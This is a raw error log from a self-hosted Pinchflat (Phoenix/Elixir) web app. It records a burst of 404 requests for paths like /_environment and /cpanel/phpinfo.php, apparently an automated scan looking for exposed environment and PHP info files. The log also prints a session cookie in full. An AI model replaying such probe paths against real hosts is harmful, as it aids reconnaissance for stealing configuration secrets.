"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e (truncated) 02:10:25.335 [info] GET /_environment 02:10:25.336 [debug] QUERY OK source="settings" db=0.2ms idle=178.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.336 [debug] QUERY OK source="settings" db=0.1ms idle=119.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.336 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.336 [error] #PID<0.3548.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 244) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_environment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 244, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3548.0>, params: %{}, path_info: ["_environment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/_environment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7HYqCMJQ9zcAATzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 244, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 244, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:25.399 [info] GET /webroot/index.php/_environment 02:10:25.400 [debug] QUERY OK source="settings" db=0.2ms idle=182.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.400 [debug] QUERY OK source="settings" db=0.0ms idle=121.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.400 [error] #PID<0.3549.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 245) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /webroot/index.php/_environment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webroot/index.php/_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 245, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3549.0>, params: %{}, path_info: ["webroot", "index.php", "_environment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/webroot/index.php/_environment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Hn4HZrmVQ0AAT0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 245, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webroot/index.php/_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 245, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinc (truncated) 02:10:25.464 [info] GET /mail/phpinfo.php 02:10:25.464 [debug] QUERY OK source="settings" db=0.1ms idle=184.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.464 [debug] QUERY OK source="settings" db=0.0ms idle=128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.464 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.465 [error] #PID<0.3550.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 246) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mail/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 246, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3550.0>, params: %{}, path_info: ["mail", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mail/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7H3R2rbr93kAAT1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 246, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 246, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:25.531 [info] GET /cpanel/phpinfo.php 02:10:25.532 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=195.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.533 [debug] QUERY OK source="settings" db=0.4ms idle=132.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.533 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.534 [error] #PID<0.3551.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 247) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cpanel/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cpanel/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cpanel/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 247, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3551.0>, params: %{}, path_info: ["cpanel", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => 